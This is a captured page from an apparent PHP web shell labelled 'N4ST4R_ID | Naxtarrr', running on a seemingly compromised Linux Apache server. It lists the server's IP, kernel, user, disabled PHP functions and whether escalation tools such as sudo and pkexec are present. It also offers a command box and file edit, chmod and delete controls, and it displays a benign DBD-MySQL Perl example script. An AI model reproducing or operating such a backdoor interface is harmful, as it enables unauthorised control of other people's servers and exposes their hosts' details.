Na}{

Server IP: 162.240.74.182

Your IP: 216.73.217.6

Web Server: Apache

System: Linux 3.10.0-1160.119.1.el7.x86_64 (shell_exec disabled)

User: gdg

PHP Version: 8.0.30

Disable Function: exec, passthru, shell_exec, system

MySQL: OFF

cURL: ON

WGET: OFF

Perl: OFF

Python: OFF

Sudo: OFF

Pkexec: OFF

Command Bosku:

Path: ~//usr/share/doc/perl-DBD-MySQL-4.023/eg/

File Content: `bug30033.pl`

#!/usr/bin/perl

use strict;
use warnings;
use Data::Dumper;
use Getopt::Long;
use DBI;

our $opt_prepared;

GetOptions (
    "p|prepared"  => \$opt_prepared
    );


my $dsn = "DBI:mysql:database=test;host=localhost";
$dsn .= ";mysql_server_prepare=1" if $opt_prepared;

my $dbh = DBI->connect( $dsn, 'root', '', { RaiseError => 1 } )
or die $DBI::errstr;

unlink('./bug3033.trace.log');
$dbh->trace(4, './bug3033_trace.log'); 

$dbh->do('DROP TABLE IF EXISTS buggy');
$dbh->do('CREATE TABLE buggy ( id int(3) )');
$dbh->do('INSERT INTO buggy (id) VALUES (1)');
my $query= "SELECT id FROM
-- It's a bug
buggy WHERE id = ?";
print "with var:\n";
my $ref= $dbh->selectall_arrayref($query, {}, 1);
print Dumper $ref;
print "with string terminator:\n";
$ref= $dbh->selectall_arrayref(<<END, {}, 1);
SELECT id
FROM buggy
-- It's a bug!
WHERE id = ?
END
print Dumper $ref;

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
bug14979.pl	789 bytes	0644
bug21028.pl	2239 bytes	0644
bug30033.pl	868 bytes	0644
bug30033pg.pl	456 bytes	0644
decimal_test.pl	839 bytes	0644
issue21946.pl	848 bytes	0644
prepare_memory_usage.pl	450 bytes	0644
proc_example1.pl	1053 bytes	0644
proc_example2.pl	1418 bytes	0644
proc_example2a.pl	1318 bytes	0644
proc_example2b.pl	1302 bytes	0644
proc_example3.pl	901 bytes	0644
proc_example4.pl	1388 bytes	0644

N4ST4R_ID | Naxtarrr

Command Bosku:

File Content: bug30033.pl

File Content: `bug30033.pl`